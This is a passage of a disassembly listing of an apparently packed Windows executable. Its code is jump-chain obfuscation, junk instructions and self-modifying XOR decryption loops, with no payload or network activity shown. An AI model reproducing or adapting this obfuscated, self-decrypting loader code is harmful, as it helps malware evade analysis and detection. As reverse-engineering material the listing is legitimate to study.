		jmp	short loc_40B6E5
; ---------------------------------------------------------------------------
		db 13h
; ---------------------------------------------------------------------------


loc_40B6F0:				; CODE XREF: .text:loc_40B712j
		jmp	short loc_40B722
; ---------------------------------------------------------------------------
		dw 4950h
		dd 57C6F4Eh, 81688B5Ah,	0BD146726h, 0B98003B2h,	75AC5FFEh
		dd 0F1987B0Ah, 2D4457D6h
		db 62h,	0F3h
; ---------------------------------------------------------------------------


loc_40B712:				; CODE XREF: .text:loc_40B6E5j
		jmp	short loc_40B6F0
; ---------------------------------------------------------------------------
		mov	al, 29h
		scasb


loc_40B717:				; CODE XREF: .text:loc_40B722j
		jmp	short loc_40B73D
; ---------------------------------------------------------------------------
		dec	edi
		fsubr	st(5), st
		mov	edx, 8661C86Bh
		inc	edi


loc_40B722:				; CODE XREF: .text:loc_40B6F0j
		jmp	short loc_40B717
; ---------------------------------------------------------------------------
		dd 0E3129D74h, 3F5E99E0h, 5B6A550Ch, 3736D1F8h,	0D3C20DA4h
		dd 2F0E0910h
		db 3Ch
; ---------------------------------------------------------------------------


loc_40B73D:				; CODE XREF: .text:loc_40B717j
		pusha
		jmp	short loc_40B76D
; ---------------------------------------------------------------------------
		dd 727DD427h, 0BE7940C3h, 0CA356C1Fh, 96B1583Bh
; ---------------------------------------------------------------------------
		pop	ss
		add	al, 0EDh


loc_40B753:				; CODE XREF: .text:loc_40B76Dj
		jmp	short loc_40B77D
; ---------------------------------------------------------------------------
		db 22h,	0B3h, 70h
		dd 9C0F6EE9h, 882B7AA5h, 34074621h, 0A0A3D25Dh,	0CCFF1E59h
		db 15h
; ---------------------------------------------------------------------------


loc_40B76D:				; CODE XREF: .text:0040B73Ej
		jmp	short loc_40B753
; ---------------------------------------------------------------------------
		sub	bl, [ebx]
		mov	eax, 64F7F691h


loc_40B776:				; CODE XREF: .text:loc_40B77Dj
		jmp	short loc_40B7A2
; ---------------------------------------------------------------------------
		dd 0D09382CDh
; ---------------------------------------------------------------------------
		leave


loc_40B77D:				; CODE XREF: .text:loc_40B753j
		jmp	short loc_40B776
; ---------------------------------------------------------------------------
		db 0CEh
		dd 0DA85FCEFh, 0A601E80Bh, 323D94E7h, 7E390083h, 8AF52CDFh
		dd 567118FBh, 0E2ADC4D7h, 2EA93073h
		db 0CFh, 5Ch
; ---------------------------------------------------------------------------


loc_40B7A2:				; CODE XREF: .text:loc_40B776j
		mov	edx, 10013742h
		pushfw
		push	esi
		call	sub_40B7B2
; ---------------------------------------------------------------------------
		db 0EBh
		db 48h,	0E1h

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


sub_40B7B2	proc near		; CODE XREF: .text:0040B7AAp
		sub	edx, 0FFFFFFFFh
		sub	edx, 1
		xchg	ecx, ecx
		lea	ebp, [ebp+0]


loc_40B7BD:				; CODE XREF: sub_40B7B2+46j
		pop	esi
		xor	dword ptr [esi+0Eh], 5175h
		lea	esp, [esp]
		jmp	short loc_40B7D0
; ---------------------------------------------------------------------------
		db 0B6h, 0B7h, 24h
; ---------------------------------------------------------------------------


loc_40B7D0:				; CODE XREF: sub_40B7B2+19j
		xor	dword ptr [esi+10h], 5Fh
		xor	byte ptr [esi-8], 8Fh
		xor	dword ptr [esi-7], 3E8568Dh
		xor	dword ptr [esi+11h], 37h
		pop	esi
		popfw
		jmp	loc_40B7BD
sub_40B7B2	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
		jmp	short loc_40B82A
; ---------------------------------------------------------------------------
		inc	ebp


loc_40B800:				; CODE XREF: .text:loc_40B82Aj
		jmp	short loc_40B842
; ---------------------------------------------------------------------------
		dw 0CB9Ah
		dd 0A766C1A8h, 43F2FD54h, 9F3EF9C0h, 0BB4AB5ECh, 971631D8h
		dd 33A26D84h, 8FEE69F0h, 0ABFA251Ch, 87C6A108h
; ---------------------------------------------------------------------------
		mov	ah, 0DDh


loc_40B82A:				; CODE XREF: .text:0040B7FDj
		jmp	short loc_40B800
; ---------------------------------------------------------------------------
		dd 0D9202352h
; ---------------------------------------------------------------------------
		sahf


loc_40B831:				; CODE XREF: .text:loc_40B842j
		jmp	short loc_40B859
; ---------------------------------------------------------------------------
		db 7Fh
		dd 9BAA954Ch, 77761138h, 13024DE4h
; ---------------------------------------------------------------------------
		push	eax
		dec	ecx


loc_40B842:				; CODE XREF: .text:loc_40B800j
		jmp	short loc_40B831
; ---------------------------------------------------------------------------
		dd 57C6F4Eh
; ---------------------------------------------------------------------------


loc_40B848:				; CODE XREF: .text:loc_40B859j
		jmp	short loc_40B876
; ---------------------------------------------------------------------------
		dw 8B5Ah
		dd 67268168h, 3B2BD14h,	5FFEB980h
; ---------------------------------------------------------------------------
		lodsb


loc_40B859:				; CODE XREF: .text:loc_40B831j
		jmp	short loc_40B848
; ---------------------------------------------------------------------------
		db 75h
		dd 0F1987B0Ah, 2D4457D6h, 29B0F362h, 0E5DC4FAEh, 61C86BBAh
		dd 9D744786h
; ---------------------------------------------------------------------------
		adc	ah, bl


loc_40B876:				; CODE XREF: .text:loc_40B848j
		mov	eax, 10001000h
		pushfw
		push	eax
		call	near ptr loc_40B889+1
		aas
		or	al, 55h
		push	5Bh
		clc


loc_40B889:				; CODE XREF: .text:0040B87Ep
		ror	dword ptr [ebp-3F7CFF93h], 1
		inc	dword ptr [ebx-9780018h]
		jmp	short loc_40B8A0
; ---------------------------------------------------------------------------
		db 4Bh
		dd 27E64128h, 0C3727DD4h
; ---------------------------------------------------------------------------


loc_40B8A0:				; CODE XREF: .text:0040B895j
		xchg	dx, dx
		push	ecx
		add	ecx, eax
		xchg	bp, bp
		pop	ecx


loc_40B8AA:				; CODE XREF: .text:0040B906j
		pop	eax
		xor	dword ptr [eax+27h], 4373h
		push	edx
		lea	ecx, [ecx]
		mov	edx, edx
		sub	edx, 0
		sub	edx, ecx
		sub	edx, edi
		pop	edx
		xchg	bx, bx
		add	edx, 992A1D5Dh
		sub	edx, 992A1D5Dh
		jmp	short loc_40B8DB
; ---------------------------------------------------------------------------
		mov	al, ds:0CCFF1E59h


loc_40B8DB:				; CODE XREF: .text:0040B8D4j
		lea	ebp, [ebp+0]
		xor	dword ptr [eax+29h], 59h
		xor	byte ptr [eax-8], 8Fh
		xor	dword ptr [eax-7], 7E850B6h
		xor	dword ptr [eax+2Ah], 7Dh
		pop	eax
		popfw
		jmp	loc_40B8AA
; ---------------------------------------------------------------------------
		jmp	short loc_40B928
; ---------------------------------------------------------------------------
		db 0F6h, 0F7h, 64h
		dd 0D09382CDh
; ---------------------------------------------------------------------------


loc_40B914:				; CODE XREF: .text:loc_40B928j
		jmp	short loc_40B939
; ---------------------------------------------------------------------------
		dw 0CEC9h
		dd 0DA85FCEFh, 0A601E80Bh, 323D94E7h, 7E390083h
; ---------------------------------------------------------------------------


loc_40B928:				; CODE XREF: .text:0040B90Bj
		jmp	short loc_40B914
; ---------------------------------------------------------------------------
		fild	qword ptr ds:7118FB8Ah[esi*8]
		push	esi
		xlat
		les	ebp, [ebp-56CF8C1Eh]


loc_40B939:				; CODE XREF: .text:loc_40B914j
		mov	ebx, 2Ch
		jmp	short loc_40B96E
; ---------------------------------------------------------------------------
		cmp	ch, bl
		dec	eax


loc_40B943:				; CODE XREF: .text:loc_40B96Ej
		jmp	short loc_40B982
; ---------------------------------------------------------------------------
		db 0E1h, 6, 0C7h
		dd 63921DF4h, 0BFDE1960h, 0DBEAD58Ch, 0B7B65178h, 53428D24h
		dd 0AF8E8990h, 0CB9A45BCh, 0A766C1A8h, 43F2FD54h
		db 0C0h, 0F9h
; ---------------------------------------------------------------------------


loc_40B96E:				; CODE XREF: .text:0040B93Ej
		jmp	short loc_40B943
; ---------------------------------------------------------------------------
		dd 0B5EC9F3Eh, 31D8BB4Ah, 6D849716h, 69F033A2h
		db 0EEh, 8Fh
; ---------------------------------------------------------------------------


loc_40B982:				; CODE XREF: .text:loc_40B943j
		mov	ecx, 39E0h
		jmp	short loc_40B9A5
; ---------------------------------------------------------------------------
		fst	qword ptr [edx+23h]


loc_40B98C:				; CODE XREF: .text:loc_40B9A5j
		jmp	short loc_40B9B6
; ---------------------------------------------------------------------------
		dw 0D920h
		dd 954C7F9Eh, 11389BAAh, 4DE47776h, 49501302h, 57C6F4Eh
; ---------------------------------------------------------------------------
		pop	edx


loc_40B9A5:				; CODE XREF: .text:0040B987j
		jmp	short loc_40B98C
; ---------------------------------------------------------------------------
		db 8Bh
		db 68h,	81h, 26h
; ---------------------------------------------------------------------------


loc_40B9AB:				; CODE XREF: .text:loc_40B9B6j
		jmp	short loc_40B9D5
; ---------------------------------------------------------------------------
		db 67h,	14h, 0BDh
		dd 0B98003B2h
		db 0FEh, 5Fh
; ---------------------------------------------------------------------------


loc_40B9B6:				; CODE XREF: .text:loc_40B98Cj
		jmp	short loc_40B9AB
; ---------------------------------------------------------------------------


loc_40B9B8:				; CODE XREF: .text:loc_40B9D5j
		jmp	short loc_40B9EA
; ---------------------------------------------------------------------------
		dw 75ACh
		dd 0F1987B0Ah, 2D4457D6h, 29B0F362h, 0E5DC4FAEh, 61C86BBAh
		dd 9D744786h
		db 12h
; ---------------------------------------------------------------------------


loc_40B9D5:				; CODE XREF: .text:loc_40B9ABj
		jmp	short loc_40B9B8
; ---------------------------------------------------------------------------
		db 0E3h
		db 0E0h, 99h, 5Eh
; ---------------------------------------------------------------------------


loc_40B9DB:				; CODE XREF: .text:loc_40B9EAj
		jmp	short loc_40BA09
; ---------------------------------------------------------------------------
		db 3Fh,	0Ch, 55h
		dd 0D1F85B6Ah, 0DA43736h
		db 0C2h, 0D3h
; ---------------------------------------------------------------------------


loc_40B9EA:				; CODE XREF: .text:loc_40B9B8j
		jmp	short loc_40B9DB
; ---------------------------------------------------------------------------
		dd 2F0E0910h, 4B1AC53Ch, 27E64128h, 0C3727DD4h,	1FBE7940h
		dd 3BCA356Ch, 1796B158h
		db 4
; ---------------------------------------------------------------------------


loc_40BA09:				; CODE XREF: .text:loc_40B9DBj
		xor	dword ptr [eax], 709E3C58h
		jmp	short loc_40BA40
; ---------------------------------------------------------------------------
		db 59h,	1Eh, 0FFh
		db 0CCh
		db 15h,	2Ah, 1Bh
		dd 0F7F691B8h
		db 64h,	0CDh
; ---------------------------------------------------------------------------


loc_40BA1E:				; CODE XREF: .text:loc_40BA40j
		jmp	short loc_40BA50
; ---------------------------------------------------------------------------
		dd 0C9D09382h, 85FCEFCEh, 1E80BDAh, 3D94E7A6h, 39008332h
		dd 0F52CDF7Eh, 7118FB8Ah, 0ADC4D756h
; ---------------------------------------------------------------------------


loc_40BA40:				; CODE XREF: .text:0040BA0Fj
		jmp	short loc_40BA1E
; ---------------------------------------------------------------------------
		dw 73E2h
		dd 0CF2EA930h
; ---------------------------------------------------------------------------
		pop	esp


loc_40BA49:				; CODE XREF: .text:loc_40BA50j
		jmp	short loc_40BA71
; ---------------------------------------------------------------------------
		db 65h
		dd 0E148EB3Ah
; ---------------------------------------------------------------------------


loc_40BA50:				; CODE XREF: .text:loc_40BA1Ej
		jmp	short loc_40BA49
; ---------------------------------------------------------------------------
		dw 0C706h
		dd 63921DF4h, 0BFDE1960h
; ---------------------------------------------------------------------------
		mov	ebp, ss


loc_40BA5E:				; CODE XREF: .text:loc_40BA71j
		jmp	short loc_40BA8E
; ---------------------------------------------------------------------------
		dd 5178DBEAh, 8D24B7B6h, 89905342h, 45BCAF8Eh
		db 9Ah
; ---------------------------------------------------------------------------


loc_40BA71:				; CODE XREF: .text:loc_40BA49j
		jmp	short loc_40BA5E
; ---------------------------------------------------------------------------


loc_40BA73:				; CODE XREF: .text:loc_40BA8Ej
		jmp	short loc_40BAA5
; ---------------------------------------------------------------------------
		retf
; ---------------------------------------------------------------------------
		dw 0C1A8h
		dd 0FD54A766h, 0F9C043F2h, 0B5EC9F3Eh, 31D8BB4Ah, 6D849716h
		db 0A2h, 33h
; ---------------------------------------------------------------------------


loc_40BA8E:				; CODE XREF: .text:loc_40BA5Ej
		jmp	short loc_40BA73
; ---------------------------------------------------------------------------
		dd 8FEE69F0h, 0ABFA251Ch, 87C6A108h, 2352DDB4h,	7F9ED920h
		db 4Ch
; ---------------------------------------------------------------------------


loc_40BAA5:				; CODE XREF: .text:loc_40BA73j
		xor	dword ptr [eax+4], 709E3C58h
		jmp	short loc_40BAD5
; ---------------------------------------------------------------------------
		db 77h
; ---------------------------------------------------------------------------


loc_40BAAF:				; CODE XREF: .text:loc_40BAD5j
		jmp	short loc_40BAE9
; ---------------------------------------------------------------------------
		db 0E4h, 4Dh, 2
		dd 4E495013h, 5A057C6Fh, 2681688Bh, 0B2BD1467h,	0FEB98003h
		dd 0A75AC5Fh, 0D6F1987Bh, 622D4457h
		db 0F3h
; ---------------------------------------------------------------------------


loc_40BAD5:				; CODE XREF: .text:0040BAACj
		jmp	short loc_40BAAF
; ---------------------------------------------------------------------------
		db 0B0h
; ---------------------------------------------------------------------------


loc_40BAD8:				; CODE XREF: .text:loc_40BAE9j
		jmp	short loc_40BB0A
; ---------------------------------------------------------------------------
		sub	[esi-451A23B1h], ebp
		imul	ecx, eax, 61h
		xchg	al, [edi+74h]
		popf
		adc	ah, bl


loc_40BAE9:				; CODE XREF: .text:loc_40BAAFj
		jmp	short loc_40BAD8
; ---------------------------------------------------------------------------
		db 0E0h
		dd 0C3F5E99h, 0F85B6A55h, 0A43736D1h, 10D3C20Dh, 3C2F0E09h
		dd 284B1AC5h, 0D427E641h
		db 7Dh,	72h
; ---------------------------------------------------------------------------


loc_40BB0A:				; CODE XREF: .text:loc_40BAD8j
		add	eax, 8
		jmp	short loc_40BB38
; ---------------------------------------------------------------------------
		db 0B3h
		dd 0F6EE970h
; ---------------------------------------------------------------------------
		pushf
		movsd


loc_40BB16:				; CODE XREF: .text:loc_40BB38j
		jmp	short loc_40BB48
; ---------------------------------------------------------------------------
		dd 21882B7Ah, 5D340746h, 59A0A3D2h, 15CCFF1Eh, 91B81B2Ah
		dd 0CD64F7F6h, 0C9D09382h, 85FCEFCEh
; ---------------------------------------------------------------------------


loc_40BB38:				; CODE XREF: .text:0040BB0Dj
		jmp	short loc_40BB16
; ---------------------------------------------------------------------------
		dw 0BDAh
		dd 0E7A601E8h, 83323D94h, 0DF7E3900h
; ---------------------------------------------------------------------------


loc_40BB48:				; CODE XREF: .text:loc_40BB16j
		sub	ecx, 8


loc_40BB4B:				; CODE XREF: .text:loc_40BE0Aj
		pushfw
		push	ebx
		call	near ptr loc_40BB59+3
		mov	bh, bl
		sbb	[ecx+56h], dh
		xlat


loc_40BB59:				; CODE XREF: .text:0040BB4Ep
		les	ebp, [ebp-3E2DFA1Eh]
		mov	al, 0A9h
		add	eax, 564F3E2Eh
		push	ecx
		add	ecx, esi
		lea	ebx, [ebx]
		jmp	short loc_40BB74
; ---------------------------------------------------------------------------
		db 0C7h, 0F4h, 1Dh
		dd 19606392h
; ---------------------------------------------------------------------------


loc_40BB74:				; CODE XREF: .text:0040BB6Bj
		pop	ecx
		lea	edx, [edx]
		xor	edx, 0
		jmp	short loc_40BB84
; ---------------------------------------------------------------------------
		mov	dh, 0B7h
		and	al, 8Dh
		inc	edx


loc_40BB84:				; CODE XREF: .text:0040BB7Dj
		push	eax
		jmp	short loc_40BB88
; ---------------------------------------------------------------------------
		scasd


loc_40BB88:				; CODE XREF: .text:0040BB85j
		mov	eax, edx
		add	eax, esi
		sub	eax, ebp
		pop	eax
		sub	edx, 0D464D5ACh
		sub	edx, 2B9B2A54h
		add	edx, 19D2C543h
		sub	edx, 19D2C543h
		add	eax, 7C622BC2h
		add	eax, 839DD43Eh
		sub	ecx, 3FBEBFB5h
		add	ecx, 3FBEBFB5h
		xchg	si, si
		sub	ecx, 845A1697h
		add	ecx, 845A1697h
		add	eax, 1
		add	eax, 0FFFFFFFFh
		xor	eax, 0
		xor	ebx, 0


loc_40BBDD:				; CODE XREF: .text:0040BC35j
		pop	ebx
		xor	dword ptr [ebx+8Ah], 996Bh
		sub	ecx, 9CA5F83Ah
		sub	ecx, 635A07C6h
		push	edx
		mov	edx, ecx
		xchg	di, di
		xchg	ecx, ecx
		mov	edx, esi
		lea	edx, [edx]
		lea	ebp, [ebp+0]
		pop	edx
		jmp	short loc_40BC0D
; ---------------------------------------------------------------------------
		dw 0E477h
; ---------------------------------------------------------------------------
		dec	ebp
		add	dl, [ebx]
		push	eax
		dec	ecx


loc_40BC0D:				; CODE XREF: .text:0040BC04j
		xor	dword ptr [ebx+8Ch], 5Ah
		xor	byte ptr [ebx-8], 8Fh
		xor	dword ptr [ebx-7], 9E85311h
		xor	dword ptr [ebx+8Dh], 0DCh
		pop	ebx
		popfw
		jmp	loc_40BBDD
; ---------------------------------------------------------------------------
		pushfw
		push	ebx
		call	near ptr loc_40BC48+3
		jl	short near ptr loc_40BC48+1
		pop	edx
		mov	ebp, [eax-7Fh]


loc_40BC48:				; CODE XREF: .text:0040BC42j
					; .text:0040BC3Dp
		db	26h, 67h
		adc	al, 5
		cmp	bl, 0E1h
		mov	ds:1E048005h, al
		pop	ebp
		sub	edx, 0
		jmp	short loc_40BC66
; ---------------------------------------------------------------------------
		db 7Bh,	98h, 0F1h
		dd 2D4457D6h
		db 62h,	0F3h
; ---------------------------------------------------------------------------


loc_40BC66:				; CODE XREF: .text:0040BC5Bj
		xchg	dx, dx
		lea	esi, [esi]
		xchg	ebx, ebx
		add	ecx, 1
		sub	ecx, 1
		xchg	di, di
		sub	eax, 1
		inc	eax
		push	ebx
		mov	ebx, edx
		mov	ebx, edx
		xchg	di, di
		sub	ebx, ecx
		pop	ebx
		lea	ebp, [ebp+0]


loc_40BC88:				; CODE XREF: .text:0040BCD2j
		pop	ebx
		xor	dword ptr [ebx+46h], 1Bh
		sub	ecx, 0
		lea	esi, [esi]
		add	ecx, 29B8DC1Ah


loc_40BCA1:				; CODE XREF: .text:0040BCE1j
		add	ecx, 0D64723E6h
		lea	ebp, [ebp+0]
		xor	dword ptr [ebx+47h], 68h
		xor	byte ptr [ebx-8], 8Fh
		xor	dword ptr [ebx-7], 9E853D5h
		xor	dword ptr [ebx+48h], 46FAh
		pop	ebx
		popfw
		jmp	loc_40BC88
; ---------------------------------------------------------------------------
		pushfw
		push	edx
		call	sub_40BCE3
; ---------------------------------------------------------------------------
		retn
; ---------------------------------------------------------------------------
		inc	eax
		jns	short loc_40BCA1

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


sub_40BCE3	proc near		; CODE XREF: .text:0040BCDAp
		add	ebx, 1
		add	ebx, 0FFFFFFFFh
		xchg	cx, cx
		xchg	esi, esi
		xchg	edi, edi
		sub	ecx, 0E6F84264h
		sub	ecx, 1907BD9Ch
		sub	edx, 0FFFFFFFFh
		add	edx, 0FFFFFFFFh
		push	ecx
		xchg	si, si
		lea	edx, [edx]
		jmp	short loc_40BD13
; ---------------------------------------------------------------------------
		pop	ecx
		push	ds
		dec	esp
		adc	eax, 91B81B2Ah


loc_40BD13:				; CODE XREF: sub_40BCE3+25j
		pop	ecx
		add	edx, 16FCFD9Ch
		add	edx, 0E9030264h


loc_40BD20:				; CODE XREF: sub_40BCE3+94j
		pop	edx
		xor	dword ptr [edx+41h], 13h
		sub	eax, 0FFFFFFFFh
		add	eax, 0FFFFFFFFh
		push	ecx
		xchg	cx, cx
		xchg	di, di
		xchg	esi, esi
		mov	ecx, esi
		lea	esi, [esi]
		pop	ecx
		xchg	bp, bp
		dec	ecx
		sub	ecx, 0FFFFFFFFh
		push	ebx
		lea	esi, [esi]
		mov	ebx, ebx
		lea	esp, [esp]
		pop	ebx
		xor	dword ptr [edx+42h], 68h
		xor	byte ptr [edx-8], 8Fh
		xor	dword ptr [edx-7], 4E852D8h
		xor	dword ptr [edx+43h], 41E4h
		pop	edx
		popfw
		jmp	loc_40BD20
sub_40BCE3	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
		jmp	short loc_40BDAA
; ---------------------------------------------------------------------------
		dw 1960h
		dd 0D58CBFDEh
		db 0EAh, 0DBh, 78h
; ---------------------------------------------------------------------------


loc_40BD87:				; CODE XREF: .text:loc_40BDAAj
		jmp	short loc_40BDBB
; ---------------------------------------------------------------------------
		push	ecx
		mov	dh, 0B7h
		and	al, 8Dh
		inc	edx


loc_40BD8F:				; CODE XREF: .text:0040BDF5j
		push	ebx
		nop
		mov	[esi-65BA4351h], ecx
		retf
; ---------------------------------------------------------------------------
		dd 0A766C1A8h, 43F2FD54h, 9F3EF9C0h, 0BB4AB5ECh
; ---------------------------------------------------------------------------
		fdiv	dword ptr [ecx]


loc_40BDAA:				; CODE XREF: .text:0040BD7Cj
		jmp	short loc_40BD87
; ---------------------------------------------------------------------------
		dd 6D849716h
		db 0A2h, 33h
; ---------------------------------------------------------------------------


loc_40BDB2:				; CODE XREF: .text:loc_40BDBBj
		jmp	short loc_40BDE3
; ---------------------------------------------------------------------------
		dd 8FEE69F0h
; ---------------------------------------------------------------------------
		sbb	al, 25h
		cli


loc_40BDBB:				; CODE XREF: .text:loc_40BD87j
		jmp	short loc_40BDB2
; ---------------------------------------------------------------------------


loc_40BDBD:				; CODE XREF: .text:loc_40BDE3j
		jmp	short loc_40BDF3
; ---------------------------------------------------------------------------
		db 0ABh
		dd 87C6A108h, 2352DDB4h, 7F9ED920h, 9BAA954Ch, 77761138h
		dd 13024DE4h, 6F4E4950h, 8B5A057Ch
		db 68h,	81h, 26h
; ---------------------------------------------------------------------------


loc_40BDE3:				; CODE XREF: .text:loc_40BDB2j
		jmp	short loc_40BDBD
; ---------------------------------------------------------------------------


loc_40BDE5:				; CODE XREF: .text:loc_40BDF3j
		jmp	short loc_40BE0A
; ---------------------------------------------------------------------------
		db 67h
; ---------------------------------------------------------------------------
		adc	al, 0BDh
		mov	dl, 3
		cmp	byte ptr [ecx+75AC5FFEh], 0Ah


loc_40BDF3:				; CODE XREF: .text:loc_40BDBDj
		jmp	short loc_40BDE5
; ---------------------------------------------------------------------------
		jnp	short loc_40BD8F
		icebp
		setalc
		push	edi
		inc	esp
		sub	eax, 29B0F362h
		scasb
		dec	edi
		fsubr	st(5), st
		mov	edx, 8661C86Bh
		inc	edi


loc_40BE0A:				; CODE XREF: .text:loc_40BDE5j
		jnz	loc_40BB4B
		pushfw
		push	ebx
		call	sub_40BE1C
; ---------------------------------------------------------------------------
		dd 99E0E312h

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


sub_40BE1C	proc near		; CODE XREF: .text:0040BE13p
		push	ecx
		mov	ecx, ebp
		add	ecx, ecx
		mov	ecx, edx
		add	ecx, 0
		add	ecx, 0
		xchg	bp, bp
		pop	ecx
		jmp	short loc_40BE36
; ---------------------------------------------------------------------------
		db 3Ch
; ---------------------------------------------------------------------------


loc_40BE36:				; CODE XREF: sub_40BE1C+17j
		add	edx, 0FFFFFFFFh
		sub	edx, 0FFFFFFFFh
		xchg	bp, bp
		add	eax, 1
		add	eax, 0FFFFFFFFh
		push	eax
		mov	eax, ebp
		mov	eax, ebp
		add	eax, edi
		pop	eax
		xchg	ebp, ebp
		sub	edx, 21CB53B3h
		add	edx, 21CB53B3h
		xchg	bp, bp
		sub	ecx, 31295AA5h
		add	ecx, 31295AA5h
		push	ebx
		mov	ebx, ebx
		sub	ebx, ebx
		xchg	bp, bp
		pop	ebx


loc_40BE73:				; CODE XREF: sub_40BE1C+ACj
		pop	ebx
		xor	dword ptr [ebx+5Bh], 3Ah
		xor	eax, 0
		sub	ecx, 2E5F3715h
		add	ecx, 2E5F3715h
		xchg	di, di
		push	ecx
		xchg	ecx, ecx
		mov	ecx, edi
		pop	ecx
		lea	ebx, [ebx]
		sub	ecx, 0FFFFFFFFh
		sub	ecx, 1
		xor	dword ptr [ebx+5Ch], 68h
		xor	byte ptr [ebx-8], 8Fh
		xor	dword ptr [ebx-7], 4E853C2h
		xor	dword ptr [ebx+5Dh], 5BE7h
		pop	ebx
		popfw
		jmp	loc_40BE73
sub_40BE1C	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
		db 0E9h, 0AEh, 0C8h
		dd 0FFFFh, 0ACBh dup(0)
		dd 1000h, 0Ch, 39C9h, 10000h, 0Ch, 39813974h, 92h dup(0)
aPaddingxxpaddi	db 'PADDINGXXPADDINGPADDINGXXPADDINGPADDINGXXPADDINGPADDINGXXPADDINGP'
		db 'ADDINGXXPADDINGPADDINGXXPADDINGPADDINGXXPADDINGPADDINGXXPADDINGPA'
		db 'DDINGXXPADDINGPADDINGXXPADDINGPADDINGXXPADDINGPADDINGXXPADDINGPAD'
		db 'DINGXXPADDINGPADDINGXXPADDINGPADDINGXXPADDINGPADDINGXXPADDINGPADD'
		db 'INGXXPADDINGPADDINGXXPADDINGPADDINGXXPADDINGPADDINGXXPADDINGPADDI'
		db 'NGXXPADDINGPADDINGXXPADDINGPADDINGXXPADDINGPADDINGXXPADDINGPADDIN'
		db 'GXXPADDINGPADDINGXXPADDING',0
		align 200h
_text		ends

; Section 3. (virtual address 00016000)
; Virtual size			: 00001000 (   4096.)
; Section size in file		: 00000200 (	512.)
; Offset to raw	data for section: 00016000
; Flags	C0000040: Data Readable	Writable
; Alignment	: default
; ===========================================================================

; Segment type:	Pure data
; Segment permissions: Read/Write
_idata2		segment	para public 'DATA' use32
		assume cs:_idata2
		;org 416000h
		dd 80h dup(0)
		align 1000h
_idata2		ends


		end start